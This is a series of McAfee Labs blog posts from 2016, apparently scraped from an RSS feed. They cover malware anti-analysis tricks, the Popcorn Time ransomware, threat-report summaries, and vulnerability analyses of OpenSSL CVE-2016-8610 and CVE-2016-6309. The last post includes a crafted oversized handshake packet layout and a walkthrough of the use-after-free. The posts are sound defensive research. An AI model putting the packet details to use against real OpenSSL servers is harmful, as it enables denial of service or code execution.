    BOOL WINAPI IsDebuggerPresent(void);
  • FindWindow: This function can search for windows by name or class (for example, OllyDbg). This function can also detect tools such as Wireshark or Process Explorer.
    HWND WINAPI FindWindow(  
              _In_opt_ LPCTSTR lpClassName,  
              _In_opt_ LPCTSTR lpWindowName
    );
  • CsrGetProcessId: This function can find the process ID of csrss.exe, a system process. By default, a process has the SeDebugPrivilege privilege in the access token disabled. However, when the process is loaded by a debugger such as OllyDbg or WinDbg, the SeDebugPrivilege privilege is enabled. If a process can open csrss.exe, it means that the process has the privilege SeDebugPrivilege enabled in the access token, thus suggesting that the process is being debugged.

Anti-Disassembly

Anti-disassembly is another technique to avoid analysis through reverse engineering. There are many ways to hinder a disassembler:

  • API obfuscation can hide a call to a special function. The result could be a call without the name of the API function, for example. The analyst has to reverse it to understand which function was used. This takes time.
  • Inserting junk code: Junk code can be inserted into the malware to fool analysts into wasting time trying to reverse unusable code. The junk code does not change the behavior of the sample because this code is never executed.

The “Unprotect Project”

There are many ways to avoid malware analysis. Some open projects list these techniques. The Unprotect Project is an open wiki that collects and lists malware protection and self-defense techniques. The project includes a mind map that lists techniques for a better understanding of malware protection capabilities.

The goal of this project is to help the community better understand techniques used by malware to stay undetected, bypass security protection, and avoid analysis. The following categories appear on the website:

  • Sandbox evasion techniques: To evade sandboxes analysis.
  • Antivirus evasion techniques: To evade detection by antivirus.
  • Anti-debugging techniques: To fool debuggers and avoid analysis.
  • Anti-disassembly: To avoid reverse engineering and understand the behavior of malware with a disassembling tool.
  • Process tricks: To hide the malware processes on the system and stay undetected.
  • Obfuscation and data encoding: To hide data or part of code in the malware.
  • Packers: To protect malware code and add other evasion capabilities.

The wiki is updated continuously.

Conclusion

Malware is constantly growing smarter and evolving techniques to stay undetected. Understanding these techniques and sharing the experiences of the information security community are effective ways to fight malware.

 

The post An Overview of Malware Self-Defense and Protection appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/overview-malware-self-defense-protection/feed/ 0
‘Popcorn Time’ Ransomware Sure to Cause Indigestion https://securingtomorrow.mcafee.com/mcafee-labs/popcorn-time-ransomware-sure-cause-indigestion/ https://securingtomorrow.mcafee.com/mcafee-labs/popcorn-time-ransomware-sure-cause-indigestion/#respond Mon, 19 Dec 2016 22:41:35 +0000 https://securingtomorrow.mcafee.com/?p=67209 In early December the new ransomware “Popcorn Time” was discovered. It gives the victim the option of paying the ransom or infecting two other individuals and getting them to pay. “Popcorn Time” is a legitimate application for streaming movies and series. The ransom note gives the victim seven days to choose either option or the …

The post ‘Popcorn Time’ Ransomware Sure to Cause Indigestion appeared first on McAfee Blogs.

]]>
In early December the new ransomware “Popcorn Time” was discovered. It gives the victim the option of paying the ransom or infecting two other individuals and getting them to pay. “Popcorn Time” is a legitimate application for streaming movies and series. The ransom note gives the victim seven days to choose either option or the files will be lost forever. This is the first time we have seen a threat actor give the victim an option to gain access to the decryption keys. It seems like a crude way to spread ransomware but malware writers will do anything to stand out from the countless number of variants we see every day. Details in the unfinished code also shows the ransomware will start deleting random files if a user enters the wrong decryption key four times. The malicious software pretends to be a legitimate copy of the real Popcorn Time.

The first sample discovered targeted only a test folder on the Windows desktop but current samples show the ransomware will encrypt files located in My Documents, My Pictures, My Music, as well as on the desktop. The ransomware also attempts an emotional appeal by claiming all monies collected will go to food, medicine, and shelter for people living in Syria. Malware writers pretending to claim their actions are beneficial is nothing new in the world of ransomware.

2016-12-19-popcorn-ransomware

At the time of this writing, the ransomware does not appear to be spreading as quickly as prominent ransomware such as Locky or Cerber. We have seen a very small discovery rate, with detections in North America, Western Europe, and Eastern Europe. Also, the Bitcoin address associated with Popcorn Time shows that no one has paid the ransom. The low rate of samples and with no funds coming in may explain why we continue to see updated versions of the ransomware. It is not uncommon for malware authors to continuously update their code to infect as many victims as possible. For example, the following program database files found during analysis shows five versions of the ransomware to date:

  • C:\<…..>\VERSIONS\V1.1-29.11.2016\Popcorn Time\Popcorn Time\obj\x86\Debug\Popcorn Time.pdb
  • C:\<…..>\VERSIONS\V1.2-30.11.2016\Popcorn Time\Popcorn Time\obj\x86\Debug\Popcorn Time.pdb
  • C:\<…..>\VERSIONS\V1.2\Popcorn Time\Popcorn Time\obj\x86\Release\Popcorn Time.pdb
  • C:\<…..>\VERSIONS\V1.3\Popcorn Time\Popcorn Time\obj\x86\Release\Popcorn Time.pdb
  • C:\<…..>\VERSIONS\V2.0\Popcorn Time\Popcorn Time\obj\x86\Release\Popcorn Time.pdb

This ransomware demonstrates the same techniques as most others (disguised as a legit app, encrypts files, demands ransom) but it reminds us that malware writers will continue to find unique ways to stand out.

Popcorn Time is based on the open-source “educational” ransomware Hidden Tear. As we have seen many times before, “educational” ransomware can be abused, resulting in real-world malware that cannot be decrypted without infecting others or paying the ransom.

All samples related to this ransomware are detected by Intel Security’s endpoint products.

 

The post ‘Popcorn Time’ Ransomware Sure to Cause Indigestion appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/popcorn-time-ransomware-sure-cause-indigestion/feed/ 0
‘SSL Death Alert’ (CVE-2016-8610) Can Cause Denial of Service to OpenSSL Servers https://securingtomorrow.mcafee.com/mcafee-labs/ssl-death-alert-cve-2016-8610-can-cause-denial-of-service-to-openssl-servers/ https://securingtomorrow.mcafee.com/mcafee-labs/ssl-death-alert-cve-2016-8610-can-cause-denial-of-service-to-openssl-servers/#respond Wed, 14 Dec 2016 01:13:40 +0000 https://securingtomorrow.mcafee.com/?p=66242 Recently we noticed a security patch has been published for the OpenSSL vulnerability called SSL Death Alert. As with other serious security vulnerabilities, this one grabbed our attention because the discoverer of the vulnerability says that it may cause a denial of service to an OpenSSL web server. To better protect our customers from this …

The post ‘SSL Death Alert’ (CVE-2016-8610) Can Cause Denial of Service to OpenSSL Servers appeared first on McAfee Blogs.

]]>
Recently we noticed a security patch has been published for the OpenSSL vulnerability called SSL Death Alert. As with other serious security vulnerabilities, this one grabbed our attention because the discoverer of the vulnerability says that it may cause a denial of service to an OpenSSL web server. To better protect our customers from this attack and provide detection and prevention for this vulnerability, the McAfee Labs IPS Vulnerability Research team looked into this issue.

Our analysis started with the patch differences report of the newly pushed code.

2016-12-13-openssl-death-alert-1

As we can see in the diffing results, a couple of files have been modified to fix this problem.

The patch diff of include/openssl/ssl.h reveals the new error code SSL_R_TOO_MANY_WARN_ALERTS (409) has been introduced.

2016-12-13-openssl-death-alert-2

In ssl/record/record_locl.h, we can see the directive MAX_WARN_ALERT_COUNT has been introduced and is set to 5.

2016-12-13-openssl-death-alert-3

Now let’s look into the actual patch, which sits in the files ssl/record/rec_layer_d1.c and ssl/record/rec_layer_s3.c.

The following screen shots show the patch changes in the two files.

ssl/record/rec_layer_d1.c

2016-12-13-openssl-death-alert-4

ssl/record/rec_layer_s3.c

2016-12-13-openssl-death-alert-5

As we can see, the patch is pretty simple and straightforward. It simply counts the layers of consecutive SSL3_AL_WARNING alert packets and checks if the count exceeds five. If the count is greater than five, it raises an error.

Exploiting this issue

To provide detection and prevention for this DoS attack, we created a minimal proof of concept. Although there is no public exploit, the advisory provides a lot of technical details. To exploit this bug, we must initiate the SSL handshake. As a part of the handshake the attacker has to send a genuine Client Hello packet to the server. The following screen shot shows a packet capture of the first stage of the exploit, a normal Client Hello packet.

2016-12-13-openssl-death-alert-6

As described in the security advisory, to exhaust the CPU, we need to send a large number of crafted cleartext SSL3_AL_WARNING alert packets to the server. To do this, we must understand the structure of an alert packet. The message looks like the following, from this TLS protocol memo.

2016-12-13-openssl-death-alert-7

An alert message can be encrypted, but in this case we have to send a cleartext alert to the vulnerable server.

The following screen shot shows captured SSL3_AL_WARNING packets in our test environment.

2016-12-13-openssl-death-alert-8

Next we see multiple alerts packed inside a single record.

2016-12-13-openssl-death-alert-9

The alert packet structure looks like this:

2016-12-13-openssl-death-alert-10

To test the developed exploit, we configured a test server with OpenSSL and self-signed certificate and private key. The following screen shot shows the server listening to port 4433 and communicating with an SSL client.

2016-12-13-openssl-death-alert-11

During normal SSL communications between server and client, we see nothing abnormal with CPU consumption of server processes.

2016-12-13-openssl-death-alert-12

As soon as we run the exploit against the server, however, we immediately see the server process stops responding as CPU usage reaches 99% and then 100% after a few seconds.

2016-12-13-openssl-death-alert-13

The CPU spike causes a denial of service by the OpenSSL Server as it becomes inaccessible. In our test environment, we noticed the SSL service resumes as soon as we stop the exploit from sending malicious packets.

Server administrators should apply the patch to OpenSSL servers as soon as possible. McAfee Network Security Platform (IPS) signature 0x45c09000 provides detection and prevention for this attack.

The post ‘SSL Death Alert’ (CVE-2016-8610) Can Cause Denial of Service to OpenSSL Servers appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/ssl-death-alert-cve-2016-8610-can-cause-denial-of-service-to-openssl-servers/feed/ 0
“Trojanization” of Legit Apps on the Rise https://securingtomorrow.mcafee.com/mcafee-labs/trojanization-is-on-the-rise/ https://securingtomorrow.mcafee.com/mcafee-labs/trojanization-is-on-the-rise/#respond Tue, 13 Dec 2016 05:01:55 +0000 https://securingtomorrow.mcafee.com/?p=66966 Intel Security today released its McAfee Labs Threats Report: December 2016. The report’s third key topic illustrates how attackers are creating difficult-to-detect malware by infecting legitimate code with Trojans and leveraging that legitimacy to remain hidden as long as possible. Author Craig Schmugar of McAfee Labs also recommends policies and procedures that will help protect …

The post “Trojanization” of Legit Apps on the Rise appeared first on McAfee Blogs.

]]>
Intel Security today released its McAfee Labs Threats Report: December 2016. The report’s third key topic illustrates how attackers are creating difficult-to-detect malware by infecting legitimate code with Trojans and leveraging that legitimacy to remain hidden as long as possible. Author Craig Schmugar of McAfee Labs also recommends policies and procedures that will help protect against this form of attack. The following is an excerpt from Schmugar’s key topic feature.

Earlier this year, the Internet blew up over the topic of whether Apple should assist the FBI by providing access to a deceased terrorist’s iPhone. Tim Cook, Apple’s chief executive, referred to the government’s demands as asking for the “equivalent of a master key, capable of opening hundreds of millions of locks.” In the end, the FBI gained access through undisclosed means and withdrew the request, but the notion of backdoor access is something that has been coveted by malware authors, spies, and nation-states for decades. Tactics for accomplishing this goal range from persuading victims via social engineering to hand over the keys to their devices, to intercepting hardware in the supply chain and inserting backdoors to surreptitiously gain remote access. However, the most common method is through the deployment of Trojan software.

Most malicious applications today are rotten to the core. They serve one purpose, to profit bad actors, subjecting their victims to attacks. The tactical objectives of such crimes are generally to reach the target, establish a presence, and persist for an extended time. To reach their targets, attackers either draw victims in through social engineering or intercept their everyday computer usage, most often through exploitation. In either case, the goal is for those unfortunate enough to cross paths with malicious code to be none the wiser.

The longer attacks can go unnoticed, the larger the payout. To this end, attackers are growing more sophisticated as they endeavor to create long-lasting, fully undetectable creations. The more authentic looking a piece of code, the more likely it is to be overlooked. This is the primary driving factor in an increasing trend of “Trojanizing” legitimate applications, which are injected with malicious nonreplicating code.

The abuse of reputable applications affords attackers a number of benefits. Payloads are concealed behind a recognizable brand, contributing to the impression of legitimacy and helping ensure targeted users take the bait. This brand recognition continues after a system has been compromised, through recognizable directory, file, process, and registry key names and attributes. These elements can provide cover during security scans and forensics analysis, with recognizable properties blending with hundreds or even thousands of familiar programs.

Another benefit is built-in persistence, or a method of restarting code that was previously terminated. Malware persistence falls into one of two categories: self-persistence, involving the installation of start-up hooks to endure reboots; and companion-persistence, which leverages existing start-up hooks to automatically load before, during, or after other wanted applications. Each system change made by malicious code is an indicator of compromise. Thus the fewer the number of changes, the smaller the detection surface. Trojanizing legitimate applications provides free persistence; the software’s natural method of start-up is all that is necessary for the malicious code to load. In fact, if the program is run manually on a regular basis, then persistence is self-perpetuated by the victims themselves.

To learn more, visit www.mcafee.com for the full report.

The post “Trojanization” of Legit Apps on the Rise appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/trojanization-is-on-the-rise/feed/ 0
McAfee Labs December Threats Report Explores Many Facets of Deception https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-december-threats-report-explores-many-facets-deception/ https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-december-threats-report-explores-many-facets-deception/#respond Tue, 13 Dec 2016 05:01:55 +0000 https://securingtomorrow.mcafee.com/?p=67017 In the McAfee Labs Threats Report: December 2016 published today, we write about three seemingly disparate topics. However, on closer inspection, they have a common thread. All discuss deception in one way or another, whether ways in which ransomware authors have enhanced their code to sidestep sandboxes, how Trojans infect legitimate code to appear benign, …

The post McAfee Labs December Threats Report Explores Many Facets of Deception appeared first on McAfee Blogs.

]]>
In the McAfee Labs Threats Report: December 2016 published today, we write about three seemingly disparate topics. However, on closer inspection, they have a common thread. All discuss deception in one way or another, whether ways in which ransomware authors have enhanced their code to sidestep sandboxes, how Trojans infect legitimate code to appear benign, or the challenges SOCs face as they try to detect potential attacks from malware that uses increasingly sophisticated evasion techniques.

2016-12-12-qtr-cover

 

In the ransomware story, we summarize “the year in ransomware,” as that form of threat saw a huge jump in the number of ransomware attacks; it captured most of the cyberattack headlines. To fuel its growth, ransomware authors made many technical advances this year:

  • Anti-sandboxing: Detecting and evading security sandboxes used to test suspicious code.
  • Exploit kits: A cat-and-mouse game of increasing exploit kit sophistication to stay ahead of defenses.
  • Disk encryption: Partial disk encryption that overwrites the master boot record and full disk encryption that encrypts a compete partition.
  • Website encryption: Encryption of websites used by legitimate applications, making the apps useless until the site is decrypted.
  • Ransomware-as-a-service: Attackers pay service providers for the use of infrastructure and ransomware.

The good news is that the white hats are fighting back, with some success. Defenses are getting better, law enforcement and security vendors are collaborating to take down ransomware networks, and a jointly founded initiative, No More Ransom!, was formed to provide prevention advice, investigation assistance, and decryption tools. More than one dozen law enforcement agencies and multiple security technology vendors are now part of the No More Ransom! collaboration, with more to come in the very near future!

To learn more about defending against ransomware, read our Technical Brief How to Protect Against Ransomware. More information about ransomware and ways to protect against it can be found here.

 

The Trojan story explains how this type of malware infects legitimate code and hides out, hoping to go unnoticed as long as possible to maximize payouts. We show how attackers create long-lasting, fully undetectable malware by modifying source code or executables, inserting patches on the fly through man-in-the-middle attacks, or tricking application authors to include malicious libraries.

Attackers who specialize in Trojans enjoy an impression of legitimacy, as their malware hides behind recognized brands or apps. The “Trojanized” legitimate apps often provide cover during security scans and forensic analysis. And the Trojans enjoy free persistence, courtesy of app users who depend on the apps for day-to-day activities.

To learn more about defending against Trojanized legitimate software, read our Solution Brief How to Protect Against Trojans.

 

Our third story is about security operations centers, or SOCs. Intel Security commissioned a primary research study to gain a deeper understanding of the ways in which enterprises use security operations centers, how they have changed over time, and what they will look like in the future.

Among other things, we learned of:

  • Alert overload: SOC managers are unable to sufficiently investigate 25% of their security alerts.
  • Triage trouble: 93% of SOC managers are overwhelmed by alerts and unable to triage all potential threats.
  • Incidents on the rise: 67% of SOC managers report an increase in security incidents.
  • Proactive vs. reactive: 26% of SOCs operate in a reactive mode with ad-hoc approaches to security operations, threat hunting, and incident response.
  • Highest priority for SOCs growth and investment: SOC owners want to improve their ability to respond to confirmed attacks, which includes the ability to coordinate, remediate, eradicate, learn, and prevent recurrences.

To learn how to optimize security operations centers, read our white paper Sustainable Security Operations.

 

Finally, we highlight significant threat activity and statistics for Q3.

  • Malware: McAfee Labs measured 245 new threats every minute, or more than four every second. New malware dropped 21% in Q3, but total malware has grown 29% in the past year.
  • Ransomware: Total ransomware grew by 18% in Q3 and 80% since the beginning of the year.
  • Mobile malware: There were two million new mobile malware threats in Q3, the highest ever recorded. Total mobile malware has grown 138% in the past year.
  • Mac OS malware: New Mac OS malware skyrocketed by 637% in Q3, but the increase was due primarily to a single adware family, Bundlore.
  • Macro malware: New Microsoft Office macro malware continued the increase first seen in Q2. Total macro malware has grown 115% since the beginning of 2016.

 

For more information on these key topics, or more threat landscape statistics for Q3 2016, click here.

 

The post McAfee Labs December Threats Report Explores Many Facets of Deception appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-december-threats-report-explores-many-facets-deception/feed/ 0
Do You Need to Pull Up Your SOCs? https://securingtomorrow.mcafee.com/mcafee-labs/do-you-need-to-pull-up-your-socs/ https://securingtomorrow.mcafee.com/mcafee-labs/do-you-need-to-pull-up-your-socs/#respond Tue, 13 Dec 2016 05:01:42 +0000 https://securingtomorrow.mcafee.com/?p=66964 This week’s McAfee Labs Threats Report: December 2016 revealed the results of a survey gauging the state of the security operations center (SOC). The following is an excerpt from this article. A few years ago, dedicated SOCs seemed to be going the way of the dinosaur—the era of big rooms with big monitors and teams …

The post Do You Need to Pull Up Your SOCs? appeared first on McAfee Blogs.

]]>
This week’s McAfee Labs Threats Report: December 2016 revealed the results of a survey gauging the state of the security operations center (SOC). The following is an excerpt from this article.

A few years ago, dedicated SOCs seemed to be going the way of the dinosaur—the era of big rooms with big monitors and teams of analysts seemed ready to be replaced by distributed teams, outsourced, or disbanded entirely. If you were not in the Defense Department or on Wall Street, many thought, then you did not need a SOC. Then targeted attacks and insider threats moved from movie and government plots to an everyday reality for enterprises. According to an Intel Security survey, 68% of investigations in 2015 involved a specific entity, either as a targeted external attack or an insider threat.

Today, almost all commercial (1,000–5,000 employees) and enterprise (more than 5,000 employees) organizations run some type of SOC, and half of them have had one for more than a year, according to the latest research study from Intel Security. As the number of incidents continues to increase, security organizations appear to be maturing and using what they learn to educate and improve prevention in a virtuous cycle. For instance, survey respondents documented their expanding investments in SOCs and attributed an increase in investigations to an improved ability to detect attacks. Those who reported a decline in investigations of incidents attributed this improvement to better protection and processes, which mature organizations perform as the final stage of a security investigation.

These are some of the findings in a primary research study commissioned by Intel Security on the current state of security management environments and threat detection capabilities, as well as priority areas for future growth.

Almost nine out of 10 organizations in this study reported that they have an internal or external SOC, although commercial organizations are slightly less likely to have one (84%) compared with enterprises (91%). Smaller organizations in general are implementing SOCs a bit later than enterprises, as only 44% of commercial groups have had one for more than 12 months, whereas 56% of enterprise SOCs have been around for that long. Most SOCs (60%) are currently run internally, with 23% operating a mix of internal and external support, and 17% fully external. For the few that have not established a SOC, only 2% of enterprises have no plans to do so, versus 7% of commercial companies.

Of the 88% of organizations operating a SOC, the majority (56%) reported that they use a multifunction model combining SOC and network operations center (NOC) functionality. Organizations in the United Kingdom (64%) and Germany (63%) are even more likely to operate in this model. Dedicated SOCs are in use by 15% of companies and are more prevalent in the United States (21%). Virtual SOCs are the third model, also used by about 15% of respondents, followed by a distributed or co-managed SOC, at 11%. Only 2% reported operating a command SOC.

This distribution of SOC implementations has several implications. The majority operate at or past the midpoint of SOC maturity, progressing toward the goal of a proactive and optimized security operation. However, more than a quarter (26%) still operate in reactive mode, with ad-hoc approaches to security operations, threat hunting, and incident response. This can significantly extend detection and response times, leaving the business at greater risk of significant damage, as well as facing a higher cleanup cost.

Whether from an increase in attacks or better monitoring capabilities, most companies (67%) reported an increase in security incidents, with 51% saying they have increased a little, and 16% that they have increased a lot. This is analogous to findings from the key topic “Information theft: the who, how, and prevention of data leakage” in the McAfee Labs Threats Report: September 2016. That primary research study found that organizations which watched data more closely for leakage reported more data-loss incidents.

Only 7% overall indicate that incidents have decreased, and the remaining 25% say that they have remained stable over the past year. There was little variance reported by country, but incidents increased as organizations get smaller, possibly indicating that criminals have broadened their attack targets. Only 45% of the largest organizations (more than 20,000 employees) reported an increase, compared with 73% of the smallest (fewer than 5,000 employees).

The small group that reported a decrease in incidents overwhelmingly (96%) believe that this was due to better prevention and processes. Of those who said that incidents increased, the majority feel that it was due to a combination of improved detection capabilities (73%) and more attacks (57%).

Most organizations are overwhelmed by alerts, and 93% are unable to triage all relevant threats. On average, organizations are unable to sufficiently investigate 25% of their alerts, with no significant variation by country or company size. Almost one-quarter (22%) feel that they were lucky to escape with no business impact as a result of not investigating these alerts. The majority (53%) reported only minor impact, but 25% say they have suffered moderate or severe business impact as a result of uninvestigated alerts. The largest organizations, perhaps because of their better monitoring capabilities and stable incident levels, are more likely to report no business impact (33%).

 

To learn more about the SOC survey findings, visit www.mcafee.com for the full report.

The post Do You Need to Pull Up Your SOCs? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/do-you-need-to-pull-up-your-socs/feed/ 0
2016: A Year at Ransom https://securingtomorrow.mcafee.com/mcafee-labs/2016-a-year-at-ransom/ https://securingtomorrow.mcafee.com/mcafee-labs/2016-a-year-at-ransom/#respond Tue, 13 Dec 2016 05:01:34 +0000 https://securingtomorrow.mcafee.com/?p=66968 This week’s McAfee Labs Threats Report: December 2016 provides an overview of how ransomware has evolved over the course of 2016, and how the industry has responded. Through the end of Q3, the number of new ransomware samples this year totaled 3,860,603, an increase of 80% since the beginning of the year. Beyond volume, ransomware exhibited notable …

The post 2016: A Year at Ransom appeared first on McAfee Blogs.

]]>
This week’s McAfee Labs Threats Report: December 2016 provides an overview of how ransomware has evolved over the course of 2016, and how the industry has responded.

Through the end of Q3, the number of new ransomware samples this year totaled 3,860,603, an increase of 80% since the beginning of the year. Beyond volume, ransomware exhibited notable technical advances in 2016, including partial or full disk encryption, encryption of websites used by legitimate applications, anti-sandboxing, more sophisticated exploit kits for ransomware delivery, and more ransomware-as-a-service developments.

In March we saw the appearance of partial disk encryption instead of file encryption. This type of ransomware encrypts the master file table, making files inaccessible. Ransomware authors have enabled their malware to detect and evade common sandboxing, the most common method used to thwart ransomware. There was also a significant shift by ransomware attackers from consumer to business targets, as a few successful campaigns have encouraged more attacks.

But 2016 also saw positive developments in the areas of industry collaboration and successful public-private partnerships. This summer, a group of security vendors and law enforcement organizations, led by Europol and including Intel Security, announced the “No More Ransom!” collaboration to fight ransomware. This effort provides consumers prevention advice, investigation assistance, and decryption tools to address the ransomware threat. No More Ransom! has allowed ransomware victims to avoid paying an estimated US$1.48 million (€1.35 million) in ransom payments to cybercriminals. The No More Ransom! portal has received more than 24.5 million visitors since its launch, a consolidated average of 400,000 visitors per day.

Furthermore, law enforcement and security vendors collaborated by sharing threat intelligence, research, and recovery efforts. The year saw several takedowns of ransomware systems, including the Shade takedown in July and the WildFire takedown in September.

For more information on the Ransomware section of this quarter’s report, please visit www.mcafee.com for the full report.

“Last year we predicted that the incredible growth in ransomware attacks in 2015 would continue into 2016. The year 2016 may indeed be remembered as ‘the year of ransomware,’ with both a huge jump in the number of ransomware attacks, a number of high-profile attacks that generated wide media interest, and significant technical advances in this type of attack. On the other side of the ransomware attacks, greater cooperation between the security industry and law enforcement, and constructive collaboration between industry rivals truly has begun to deliver results in taking the fight to the criminals. As a result, we expect the growth of ransomware attacks to slow in 2017.”

—Vincent Weafer, Vice President, McAfee Labs, Intel Security

The post 2016: A Year at Ransom appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/mcafee-labs/2016-a-year-at-ransom/feed/ 0
How to Protect Against OpenSSL 1.1.0a Vulnerability CVE-2016-6309 https://securingtomorrow.mcafee.com/mcafee-labs/how-to-protect-against-openssl-1-1-0a-vulnerability-cve-2016-6309/ https://securingtomorrow.mcafee.com/mcafee-labs/how-to-protect-against-openssl-1-1-0a-vulnerability-cve-2016-6309/#respond Tue, 13 Dec 2016 01:54:37 +0000 https://securingtomorrow.mcafee.com/?p=66891 Recently the OpenSSL security library gained a fix for a critical security issue (CVE-2016-6309) that affects OpenSSL Version 1.1.0a. The remote attackers can cause the OpenSSL server to crash, or execute arbitrary code on it, by simply sending a handshake packet with a message larger than 16KB. To defend against these attacks we analyzed the …

The post How to Protect Against OpenSSL 1.1.0a Vulnerability CVE-2016-6309 appeared first on McAfee Blogs.

]]>
Recently the OpenSSL security library gained a fix for a critical security issue (CVE-2016-6309) that affects OpenSSL Version 1.1.0a. The remote attackers can cause the OpenSSL server to crash, or execute arbitrary code on it, by simply sending a handshake packet with a message larger than 16KB. To defend against these attacks we analyzed the code, wrote a proof of concept, and prepared a signature for our customers.

OpenSSL offers the following description:

“The buffer to receive messages is initialized to 16KB. If a message is received that is larger than that, then the buffer is ‘realloc’d.’ This can cause the location of the underlying buffer to change. Anything that is referring to the old location will be referring to free’d data.”

From the OpenSSL source code, we know it uses the structure “ssl_st” to store the SSL session information. Both init_msg and init_buf are members of the structure of ssl_st. Init_msg points to the handshake message body, which is contained in the buffer pointed to by init_buf. The variable “s” (s->init_msg) is a pointer to the structure of ssl_st.

From this information, we suspect a single handshake message might trigger this vulnerability.

This is the format of a handshake packet in the TLS protocol:

———+———–+———–+———–+———–+——————————

| 0x16 | 0x0301 | 0x4000 | 0x0100 | 0x5560 | DATA(length=0x5560) |

———+———–+————+———–+———–+——————————

|       |       |               |————–Length of challenge

|       |       |

|       |       |—————————————-Length handshake message

|       |—————————————————–Version

|——————————————————————Content type:Handshake

 

We manually constructed a handshake packet of more than 16KB (0x5560).

2016-12-07-openssl-vuln-2016-6309-1

Figure 1: The TLS handshake packet.

We sent the oversized handshake to a vulnerable OpenSSL server, and it crashed.

 

2016-12-07-openssl-2b

Figure 2: Crash information from the vulnerable OpenSSL server.

Now for more details. First, let’s take a look at how the issue was fixed. The patch is available here.

if (!SSL_IS_DTLS(s)

&& s->s3->tmp.message_size > 0

–                    && !BUF_MEM_grow_clean(s->init_buf,

–                                           (int)s->s3->tmp.message_size

–                                           + SSL3_HM_HEADER_LENGTH)) {

+                    && !grow_init_buf(s, s->s3->tmp.message_size

+                                         + SSL3_HM_HEADER_LENGTH)) {

ssl3_send_alert(s, SSL3_AL_FATAL, SSL_AD_INTERNAL_ERROR);

SSLerr(SSL_F_READ_STATE_MACHINE, ERR_R_BUF_LIB);

return SUB_STATE_ERROR;

The lines preceded by “-” are the old code, while the “+” lines are the patch. The patch introduced a new function, grow_init_buf, to replace the function BUF_MEM_grow_clean. This new function handles the chores of buffer reallocation to make sure the buffer is big enough to hold the handshake message.

Now let’s check out the new function: grow_init_buf:

static int grow_init_buf(SSL *s, size_t size) {

size_t msg_offset = (char *)s->init_msg – s->init_buf->data;

if (!BUF_MEM_grow_clean(s->init_buf, (int)size))

return 0;

if (size < msg_offset)

return 0;

s->init_msg = s->init_buf->data + msg_offset;   <——————reset the init_msg

return 1;

}

This newly introduced function internally will still call the old function BUF_MEM_grow_clean; after that it resets the init_msg (marked above).

Next, let’s look into this piece of vulnerable code with a debugger.

2016-12-07-openssl-3b

Figure 3: The unpatched code before the control flow reaches the function BUF_MEM_grow_clean.

Figure 3 gives us the following status information:

  • s->init_msg=0x6c3184
  • s->init_buf.data=0x6c3180
  • length=0x4000 and is controllable by the attacker through the handshake message

Now s->init_msg points to our handshake message, and is contained in the buffer pointed to by s->init_buf.data.

2016-12-07-openssl-vuln-2016-6309-4

Figure 4: The scenario in which the control flow returns only from the function BUF_MEM_grow_clean.

At this point, apparently init_buf.data has been changed, but init_msg still points to 0x6c3184.

  • s->init_msg=0x6c3184
  • s->init_buf.data=0x6ce7c0

Now let’s step into the function BUF_MEM_grow_clean to find out why s->init_buf.data has changed:

size_t BUF_MEM_grow_clean(BUF_MEM *str, size_t len)

{

char *ret;

size_t n;

if (str->length >= len) {

if (str->data != NULL)

memset(&str->data[len], 0, str->length – len);

str->length = len;

return (len);

}

if (str->max >= len) {

memset(&str->data[str->length], 0, len – str->length);

str->length = len;

return (len);

}

if (len > LIMIT_BEFORE_EXPANSION) {

BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);

return 0;

}

n = (len + 3) / 3 * 4;

if ((str->flags & BUF_MEM_FLAG_SECURE))

ret = sec_alloc_realloc(str, n);       <—–realloc a new memory for init_buf

else

ret = OPENSSL_clear_realloc(str->data, str->max, n);

if (ret == NULL) {

BUFerr(BUF_F_BUF_MEM_GROW_CLEAN, ERR_R_MALLOC_FAILURE);

len = 0;

} else {

str->data = ret;

str->max = n;

memset(&str->data[str->length], 0, len – str->length);

str->length = len;

}

return (len);

}

In the preceding code, we have marked the place where memory reallocation occurs. If we can pass all three checks (“str->length >= len,” “str->max >= len,” and “len > LIMIT_BEFORE_EXPANSION”), the function would eventually change s->init_buf.data (str->data) with the memory allocated by sec_alloc_realloc (marked).

2016-12-07-openssl-vuln-2016-6309-5

Figure 5: The values of variables str->length, len, and str->max. All three variables can be controlled by the attacker.

From Figure 5, we can clearly see the values of variables when the program is executing inside the BUF_MEM_grow_clean:

  • len=0x5564 (the packet’s real length)
  • str->length=0x4000 (the length of the handshake message)
  • str->max=0x5558 (the length of challenge)

Because we can control the value of all three variables, it is trivial to bypass all the checks and hit the sec_alloc_realloc function.

Finally, let’s see what happens inside the function sec_alloc_realloc:

static char *sec_alloc_realloc(BUF_MEM *str, size_t len)

{

char *ret;

ret = OPENSSL_secure_malloc(len);          <———realloc memory

if (str->data != NULL) {

if (ret != NULL)

memcpy(ret, str->data, str->length);

OPENSSL_secure_free(str->data);       <———free old memory

}

return (ret);

}

The function sec_alloc_realloc reallocates new memory, and then frees the old memory (marked). At this point, however, s->init_msg is still pointing to the old memory that has been freed by sec_alloc_realloc. Thus later when s->init_msg is referenced, the program will either crash, or in some cases be forced to access the attacker-controlled memory, which may lead to code execution.

The patch added the new function grow_init_buf to replace the function BUF_MEM_grow_clean, and the new function will update init_msg when OpenSSL reallocates new memory to make sure it points to valid memory. For better visualization, we prepared a video to demonstrate the attack in action. (In the video, the right window shows an OpenSSL server on port 443 with standard parameters. In the left window, we send an oversized handshake to the vulnerable server, which crashes.)

 

Impact

More than 60% of active websites use OpenSSL to transfer data. More and more sites now use OpenSSL to protect the sensitive user information, such as passwords, card IDs, and usernames. Amazon, the world’s largest cloud vendor, recommend OpenSSL to its customers, and offers many advisories.

